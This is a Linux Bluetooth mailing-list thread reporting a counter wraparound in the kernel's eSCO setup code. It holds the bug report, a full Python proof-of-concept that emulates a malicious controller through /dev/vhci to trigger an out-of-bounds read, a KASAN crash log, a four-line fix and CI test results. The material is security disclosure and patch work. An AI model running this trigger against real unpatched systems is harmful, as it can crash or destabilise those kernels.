Linux bluetooth development
 help / color / mirror / Atom feed
* [PATCH net 0/1] Bluetooth: prevent wrapped eSCO connection attempts
@ 2026-09-12 13:44 Zhiling Zou
  2026-09-12 13:45 ` [PATCH net 1/1] " Zhiling Zou
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:44 UTC (permalink / raw)
  To: linux-bluetooth
  Cc: marcel, luiz.dentz, chethan.tumkur.narayan, ravishankar.srivatsa,
	kiran.k, vega, zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in net/bluetooth/hci_conn.c. The bug is
reachable by a root user using a malicious HCI controller through
/dev/vhci.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

hci_conn::attempt is an 8-bit counter. Repeated synchronous-connection
failure events queue more enhanced setup work while the connection stays
alive. The counter can wrap from 255 to zero.

find_next_esco_param() indexes the parameter table with
attempt - 1. After the wrap, this becomes an index before the static
table and produces a global out-of-bounds read. The wrapped value can
also be used when constructing the next enhanced synchronous-connection
command.

The fix rejects a zero attempt before the table lookup and immediately
after incrementing the counter in hci_enhanced_setup_sync().

Reproducer:

    sysctl -w kernel.panic_on_warn=0
    sh /root/poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    python3 -u - <<'PY'
    import os
    import socket
    import struct
    import subprocess
    import threading
    import time
    import ctypes
    import ctypes.util

    VHCI = "/dev/vhci"
    BDADDR_BYTES = bytes.fromhex("060504030201")
    BDADDR_STR = "01:02:03:04:05:06"
    ACL_HANDLE = 0x0042
    SYNC_STATUS = 0x1F

    CMD_RESET = 0x0C03
    CMD_READ_LOCAL_VERSION = 0x1001
    CMD_READ_LOCAL_COMMANDS = 0x1002
    CMD_READ_LOCAL_FEATURES = 0x1003
    CMD_READ_BUFFER_SIZE = 0x1005
    CMD_READ_BD_ADDR = 0x1009
    CMD_SET_EVENT_MASK = 0x0C01
    CMD_READ_LOCAL_NAME = 0x0C14
    CMD_WRITE_CA_TIMEOUT = 0x0C16
    CMD_READ_CLASS_OF_DEV = 0x0C23
    CMD_READ_VOICE_SETTING = 0x0C25
    CMD_READ_NUM_SUPPORTED_IAC = 0x0C38
    CMD_READ_CURRENT_IAC_LAP = 0x0C39
    CMD_READ_INQ_RSP_TX_POWER = 0x0C46
    CMD_CREATE_CONN = 0x0405
    CMD_REMOTE_NAME_REQ = 0x0419
    CMD_READ_REMOTE_FEATURES = 0x041B
    CMD_SETUP_SYNC_CONN = 0x0428
    CMD_ENHANCED_SETUP_SYNC_CONN = 0x043D
    CMD_LE_READ_ACCEPT_LIST_SIZE = 0x080F

    EVT_CMD_COMPLETE = 0x0E
    EVT_CMD_STATUS = 0x0F
    EVT_CONN_COMPLETE = 0x03
    EVT_REMOTE_NAME = 0x07
    EVT_REMOTE_FEATURES = 0x0B
    EVT_SYNC_CONN_COMPLETE = 0x2C


    def log(*args):
        print(*args, flush=True)


    fd = os.open(VHCI, os.O_RDWR)
    os.write(fd, b"\xff\x00")
    log("created vhci controller")

    state = {
        "conn_complete_sent": False,
        "sync_spam_sent": False,
    }


    def send_event(evt, payload):
        packet = bytes([0x04, evt, len(payload)]) + payload
        os.write(fd, packet)


    def cmd_complete(opcode, retparams):
        send_event(EVT_CMD_COMPLETE, bytes([1]) + struct.pack("<H", opcode) + retparams)


    def cmd_status(opcode, status=0):
        send_event(EVT_CMD_STATUS, bytes([status, 1]) + struct.pack("<H", opcode))


    def send_conn_complete(status=0):
        payload = (
            bytes([status])
            + struct.pack("<H", ACL_HANDLE)
            + BDADDR_BYTES
            + bytes([0x01, 0x00])
        )
        send_event(EVT_CONN_COMPLETE, payload)
        log("sent ACL conn complete", hex(status))


    def send_remote_features(status=0):
        payload = bytes([status]) + struct.pack("<H", ACL_HANDLE) + (b"\x00" * 8)
        send_event(EVT_REMOTE_FEATURES, payload)
        log("sent remote features", hex(status))


    def send_remote_name(status=0):
        name = b"vhci-remote"
        payload = bytes([status]) + BDADDR_BYTES + name + (b"\x00" * (248 - len(name)))
        send_event(EVT_REMOTE_NAME, payload)
        log("sent remote name", hex(status))


    def spam_sync_failures():
        # The first enhanced setup uses attempt=2 because the remote features are
        # still all zero at this point; 254 more queued retries are enough to wrap
        # the u8 counter back to zero inside hci_enhanced_setup_sync().
        time.sleep(0.05)
        payload = (
            bytes([SYNC_STATUS])
            + struct.pack("<H", 0)
            + BDADDR_BYTES
            + bytes([0x02, 0x00, 0x00])
            + struct.pack("<H", 0)
            + struct.pack("<H", 0)
            + bytes([0x00])
        )
        for _ in range(300):
            send_event(EVT_SYNC_CONN_COMPLETE, payload)
        log("sent 300 synchronous-connection failure events")


    def handle_command(opcode, params):
        if opcode == CMD_RESET:
            cmd_complete(opcode, b"\x00")
            return

        if opcode == CMD_READ_LOCAL_FEATURES:
            features = bytearray(8)
            features[2] |= 0x08  # LMP_TRANSPARENT
            features[3] |= 0x80  # LMP_ESCO
            cmd_complete(opcode, b"\x00" + bytes(features))
            return

        if opcode == CMD_READ_LOCAL_VERSION:
            reply = struct.pack("<BBHBHH", 0x00, 0x09, 0x0000, 0x09, 0x0000, 0x0000)
            cmd_complete(opcode, reply)
            return

        if opcode == CMD_READ_LOCAL_COMMANDS:
            commands = bytearray(64)
            commands[1] |= 0x20  # Reset
            commands[5] |= 0x10  # Create Connection
            commands[6] |= 0x10  # Read Local Name
            commands[8] |= 0x20  # Read Local Version
            commands[8] |= 0x40  # Read Local Commands
            commands[8] |= 0x80  # Read Local Features
            commands[9] |= 0x04  # Read Voice Setting
            commands[10] |= 0x20  # Read Buffer Size
            commands[10] |= 0x80  # Read BD_ADDR
            commands[12] |= 0x02  # Read Class of Device
            commands[12] |= 0x08  # Read Voice Setting
            commands[12] |= 0x80  # Read Num Supported IAC
            commands[13] |= 0x01  # Read Current IAC LAP
            commands[16] |= 0x04  # Read Remote Features
            commands[29] |= 0x08  # Enhanced Setup Synchronous Connection
            cmd_complete(opcode, b"\x00" + bytes(commands))
            return

        if opcode == CMD_READ_BUFFER_SIZE:
            reply = struct.pack("<BHBHH", 0x00, 1021, 64, 8, 8)
            cmd_complete(opcode, reply)
            return

        if opcode == CMD_READ_BD_ADDR:
            cmd_complete(opcode, b"\x00" + bytes.fromhex("aabbccddeeff"))
            return

        if opcode == CMD_SET_EVENT_MASK:
            cmd_complete(opcode, b"\x00")
            return

        if opcode == CMD_READ_LOCAL_NAME:
            name = b"vhci-poc"
            cmd_complete(opcode, b"\x00" + name + (b"\x00" * (248 - len(name))))
            return

        if opcode == CMD_WRITE_CA_TIMEOUT:
            cmd_complete(opcode, b"\x00")
            return

        if opcode == CMD_READ_CLASS_OF_DEV:
            cmd_complete(opcode, b"\x00\x00\x00\x00")
            return

        if opcode == CMD_READ_VOICE_SETTING:
            cmd_complete(opcode, struct.pack("<BH", 0x00, 0x0060))
            return

        if opcode == CMD_READ_NUM_SUPPORTED_IAC:
            cmd_complete(opcode, b"\x00\x01")
            return

        if opcode == CMD_READ_CURRENT_IAC_LAP:
            cmd_complete(opcode, b"\x00\x01\x33\x8b\x9e")
            return

        if opcode == CMD_READ_INQ_RSP_TX_POWER:
            cmd_complete(opcode, b"\x00\x00")
            return

        if opcode == CMD_LE_READ_ACCEPT_LIST_SIZE:
            cmd_complete(opcode, b"\x00\x00")
            return

        if opcode == CMD_CREATE_CONN:
            log("saw HCI_OP_CREATE_CONN", params.hex())
            cmd_status(opcode, 0)
            if not state["conn_complete_sent"]:
                state["conn_complete_sent"] = True
                threading.Thread(
                    target=lambda: (time.sleep(0.05), send_conn_complete(0)),
                    daemon=True,
                ).start()
            return

        if opcode == CMD_READ_REMOTE_FEATURES:
            log("saw HCI_OP_READ_REMOTE_FEATURES")
            cmd_status(opcode, 0)
            threading.Thread(
                target=lambda: (time.sleep(0.02), send_remote_features(0)),
                daemon=True,
            ).start()
            return

        if opcode == CMD_REMOTE_NAME_REQ:
            log("saw HCI_OP_REMOTE_NAME_REQ")
            cmd_status(opcode, 0)
            threading.Thread(
                target=lambda: (time.sleep(0.02), send_remote_name(0)),
                daemon=True,
            ).start()
            return

        if opcode in (CMD_SETUP_SYNC_CONN, CMD_ENHANCED_SETUP_SYNC_CONN):
            log(f"saw sync setup opcode 0x{opcode:04x}", params.hex())
            cmd_status(opcode, 0)
            if not state["sync_spam_sent"]:
                state["sync_spam_sent"] = True
                threading.Thread(target=spam_sync_failures, daemon=True).start()
            return

        log(f"replying success to unexpected opcode 0x{opcode:04x}", params.hex())
        cmd_complete(opcode, b"\x00")


    def vhci_reader():
        while True:
            packet = os.read(fd, 4096)
            if not packet:
                log("vhci read EOF")
                return

            pkt_type = packet[0]
            if pkt_type != 0x01:
                log("RX non-command packet", packet.hex())
                continue

            opcode, plen = struct.unpack_from("<HB", packet, 1)
            params = packet[4 : 4 + plen]
            log(f"RX command opcode=0x{opcode:04x} len={plen}")
            handle_command(opcode, params)


    reader = threading.Thread(target=vhci_reader, daemon=True)
    reader.start()

    for _ in range(100):
        if os.path.exists("/sys/class/bluetooth/hci0"):
            break
        time.sleep(0.1)

    for attempt in range(5):
        rc = subprocess.call("hciconfig hci0 up", shell=True)
        log("hciconfig up rc", rc, "attempt", attempt)
        time.sleep(0.2)
        try:
            info = subprocess.check_output("hciconfig -a hci0 || true", shell=True, text=True)
        except Exception as exc:
            log("hciconfig query failed", repr(exc))
            info = ""
        if info:
            print(info, end="", flush=True)
        if "RUNNING" in info:
            break

    log("attempting SCO connect")
    sco = socket.socket(
        socket.AF_BLUETOOTH,
        socket.SOCK_SEQPACKET,
        getattr(socket, "BTPROTO_SCO", 2),
    )
    sco.setsockopt(getattr(socket, "SOL_BLUETOOTH", 274), 11, struct.pack("<H", 0x0003))


    class SockaddrSco(ctypes.Structure):
        _fields_ = [
            ("sco_family", ctypes.c_ushort),
            ("sco_bdaddr", ctypes.c_ubyte * 6),
        ]


    libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
    addr = SockaddrSco()
    addr.sco_family = socket.AF_BLUETOOTH
    for i, value in enumerate(BDADDR_BYTES):
        addr.sco_bdaddr[i] = value

    try:
        ret = libc.connect(
            sco.fileno(),
            ctypes.byref(addr),
            ctypes.sizeof(addr),
        )
        if ret != 0:
            err = ctypes.get_errno()
            raise OSError(err, os.strerror(err))
        log("connect returned")
    except Exception as exc:
        log("connect raised", repr(exc))

    while True:
        time.sleep(1)
    PY

------END poc.sh--------

----BEGIN crash log----

[  250.143377] [     T69] BUG: KASAN: global-out-of-bounds in find_next_esco_param.part.0+0x165/0x1c0
[  250.143612] [     T69] Read of size 2 at addr ffffffff8bc334da by task kworker/u17:0/69

[  250.143705] [     T69] CPU: 3 UID: 0 PID: 69 Comm: kworker/u17:0 Not tainted 6.12.95 #2
[  250.143717] [     T69] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  250.143729] [     T69] Workqueue: hci0 hci_cmd_sync_work
[  250.143844] [     T69] Call Trace:
[  250.143871] [     T69]  <TASK>
[  250.143883] [     T69]  dump_stack_lvl+0x78/0xe0
[  250.144003] [     T69]  print_report+0xc6/0x620
[  250.144144] [     T69]  ? find_next_esco_param.part.0+0x165/0x1c0
[  250.144177] [     T69]  ? srso_alias_return_thunk+0x5/0xfbef5
[  250.144233] [     T69]  ? __virt_addr_valid+0x1f3/0x3d0
[  250.144322] [     T69]  ? find_next_esco_param.part.0+0x165/0x1c0
[  250.144334] [     T69]  kasan_report+0xd8/0x110
[  250.144351] [     T69]  ? find_next_esco_param.part.0+0x165/0x1c0
[  250.144376] [     T69]  find_next_esco_param.part.0+0x165/0x1c0
[  250.144397] [     T69]  hci_enhanced_setup_sync+0x913/0xca0
[  250.144413] [     T69]  ? __pfx_hci_enhanced_setup_sync+0x10/0x10
[  250.144423] [     T69]  ? __pfx___mutex_lock+0x10/0x10
[  250.144487] [     T69]  ? __pfx___mutex_unlock_slowpath+0x10/0x10
[  250.144506] [     T69]  ? cfrfml_transmit+0xa0/0x650
[  250.144573] [     T69]  ? __pfx_lock_acquire.part.0+0x10/0x10
[  250.144650] [     T69]  hci_cmd_sync_work+0x18d/0x3a0
[  250.144676] [     T69]  process_one_work+0x855/0x1ac0
[  250.144771] [     T69]  ? __pfx_lock_acquire.part.0+0x10/0x10
[  250.144784] [     T69]  ? __pfx_process_one_work+0x10/0x10
[  250.144810] [     T69]  ? srso_alias_return_thunk+0x5/0xfbef5
[  250.144827] [     T69]  worker_thread+0x4f4/0xd60
[  250.144860] [     T69]  ? __pfx_worker_thread+0x10/0x10
[  250.144870] [     T69]  kthread+0x27e/0x350
[  250.144891] [     T69]  ? _raw_spin_unlock_irq+0x28/0x50
[  250.144902] [     T69]  ? __pfx_kthread+0x10/0x10
[  250.144914] [     T69]  ret_from_fork+0x31/0x70
[  250.144968] [     T69]  ? __pfx_kthread+0x10/0x10
[  250.144977] [     T69]  ret_from_fork_asm+0x1a/0x30
[  250.145053] [     T69]  </TASK>

[  250.145142] [     T69] The buggy address belongs to the variable:
[  250.145151] [     T69]  __func__.53+0x7a/0x80

[  250.145260] [     T69] The buggy address belongs to the physical page:
[  250.145283] [     T69] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xbc33
[  250.145312] [     T69] flags: 0xfff00000002000(reserved|node=0|zone=1|lastcpupid=0x7ff)
[  250.145354] [     T69] raw: 00fff00000002000 ffffea00002f0cc8 ffffea00002f0cc8 0000000000000000
[  250.145367] [     T69] raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000
[  250.145377] [     T69] page dumped because: kasan: bad access detected
[  250.145404] [     T69] page_owner info is not present (never set?)

[  250.146486] [     T69] Memory state around the buggy address:
[  250.146497] [     T69]  ffffffff8bc33380: f9 f9 f9 f9 00 00 05 f9 f9 f9 f9 f9 00 00 00 f9
[  250.146509] [     T69]  ffffffff8bc33400: f9 f9 f9 f9 00 07 f9 f9 f9 f9 f9 f9 00 06 f9 f9
[  250.146520] [     T69] >ffffffff8bc33480: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 04 f9 f9
[  250.146530] [     T69]                                                     ^
[  250.146542] [     T69]  ffffffff8bc33500: f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 00 00 00 06
[  250.146572] [     T69]  ffffffff8bc33580: f9 f9 f9 f9 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9
[  250.146582] [     T69] ==================================================================

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  Bluetooth: prevent wrapped eSCO connection attempts

 net/bluetooth/hci_conn.c | 4 ++++
 1 file changed, 4 insertions(+)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net 1/1] Bluetooth: prevent wrapped eSCO connection attempts
  2026-09-12 13:44 [PATCH net 0/1] Bluetooth: prevent wrapped eSCO connection attempts Zhiling Zou
@ 2026-09-12 13:45 ` Zhiling Zou
  2026-09-12 16:25   ` bluez.test.bot
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:45 UTC (permalink / raw)
  To: linux-bluetooth
  Cc: marcel, luiz.dentz, chethan.tumkur.narayan, ravishankar.srivatsa,
	kiran.k, vega, zhilinz

The eSCO retry counter is an 8-bit value.  Repeated synchronous
connection failures can wrap it to zero, after which the eSCO parameter
lookup uses an index before the start of its static table.

Reject a wrapped attempt before the lookup and before building another
enhanced synchronous-connection command.

Fixes: b2af264ad3af ("Bluetooth: Add support for HCI_Enhanced_Setup_Synchronous_Connection command")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 net/bluetooth/hci_conn.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
index 8de98af2fb581..582b85f063874 100644
--- a/net/bluetooth/hci_conn.c
+++ b/net/bluetooth/hci_conn.c
@@ -217,6 +217,8 @@ static bool find_next_esco_param(struct hci_conn *conn,
 {
 	if (!conn->parent)
 		return false;
+	if (!conn->attempt)
+		return false;
 
 	for (; conn->attempt <= size; conn->attempt++) {
 		if (lmp_esco_2m_capable(conn->parent) ||
@@ -294,6 +296,8 @@ static int hci_enhanced_setup_sync(struct hci_dev *hdev, void *data)
 	conn->out = true;
 
 	conn->attempt++;
+	if (!conn->attempt)
+		return -EINVAL;
 
 	memset(&cp, 0x00, sizeof(cp));
 
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* RE: Bluetooth: prevent wrapped eSCO connection attempts
  2026-09-12 13:45 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-09-12 16:25   ` bluez.test.bot
  0 siblings, 0 replies; 3+ messages in thread
From: bluez.test.bot @ 2026-09-12 16:25 UTC (permalink / raw)
  To: linux-bluetooth, zhilinz

[-- Attachment #1: Type: text/plain, Size: 3106 bytes --]

This is automated email and please do not reply to this email!

Dear submitter,

Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/series/1163506/

---Test result---

Test Summary:
CheckPatch                    FAIL      0.50 seconds
VerifyFixes                   PASS      0.07 seconds
VerifySignedoff               PASS      0.07 seconds
GitLint                       PASS      0.21 seconds
SubjectPrefix                 PASS      0.07 seconds
BuildKernel                   PASS      21.29 seconds
CheckAllWarning               PASS      24.35 seconds
CheckSparse                   PASS      26.26 seconds
BuildKernel32                 PASS      21.42 seconds
CheckKernelLLVM               PASS      23.48 seconds
TestRunnerSetup               PASS      561.15 seconds
TestRunner_l2cap-tester       PASS      33.71 seconds
TestRunner_iso-tester         PASS      88.69 seconds
TestRunner_bnep-tester        PASS      9.55 seconds
TestRunner_mgmt-tester        FAIL      114.91 seconds
TestRunner_rfcomm-tester      PASS      12.74 seconds
TestRunner_sco-tester         PASS      17.11 seconds
TestRunner_ioctl-tester       PASS      13.50 seconds
TestRunner_mesh-tester        FAIL      15.62 seconds
TestRunner_smp-tester         PASS      12.04 seconds
TestRunner_userchan-tester    PASS      9.99 seconds
TestRunner_6lowpan-tester     PASS      12.32 seconds
IncrementalBuild              PASS      20.40 seconds

Details
##############################
Test: CheckPatch - FAIL
Desc: Run checkpatch.pl script
Output:
[net,1/1] Bluetooth: prevent wrapped eSCO connection attempts
WARNING: Reported-by: should be immediately followed by Closes: or Link: with a URL to the report
#116: 
Reported-by: VEGA <vega@nebusec.ai>
Assisted-by: LLM

WARNING: Assisted-by expects 'AGENT_NAME:MODEL_VERSION [TOOL1] [TOOL2]' format
#117: 
Assisted-by: LLM

total: 0 errors, 2 warnings, 0 checks, 16 lines checked

NOTE: For some of the reported defects, checkpatch may be able to
      mechanically convert to the typical style using --fix or --fix-inplace.

/github/workspace/src/patch/14810664.patch has style problems, please review.

NOTE: Ignored message types: UNKNOWN_COMMIT_ID

NOTE: If any of the errors are false positives, please report
      them to the maintainer, see CHECKPATCH in MAINTAINERS.


##############################
Test: TestRunner_mgmt-tester - FAIL
Desc: Run mgmt-tester with test-runner
Output:
Total: 501, Passed: 496 (99.0%), Failed: 1, Not Run: 4

Failed Test Cases
Read Exp Feature - Success                           Failed       0.100 seconds
##############################
Test: TestRunner_mesh-tester - FAIL
Desc: Run mesh-tester with test-runner
Output:
Total: 10, Passed: 8 (80.0%), Failed: 2, Not Run: 0

Failed Test Cases
Mesh - Send cancel - 1                               Timed out    2.737 seconds
Mesh - Send cancel - 2                               Timed out    1.997 seconds


https://github.com/bluez/bluetooth-next/pull/756

---
Regards,
Linux Bluetooth


^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-09-12 16:25 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-12 13:44 [PATCH net 0/1] Bluetooth: prevent wrapped eSCO connection attempts Zhiling Zou
2026-09-12 13:45 ` [PATCH net 1/1] " Zhiling Zou
2026-09-12 16:25   ` bluez.test.bot

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox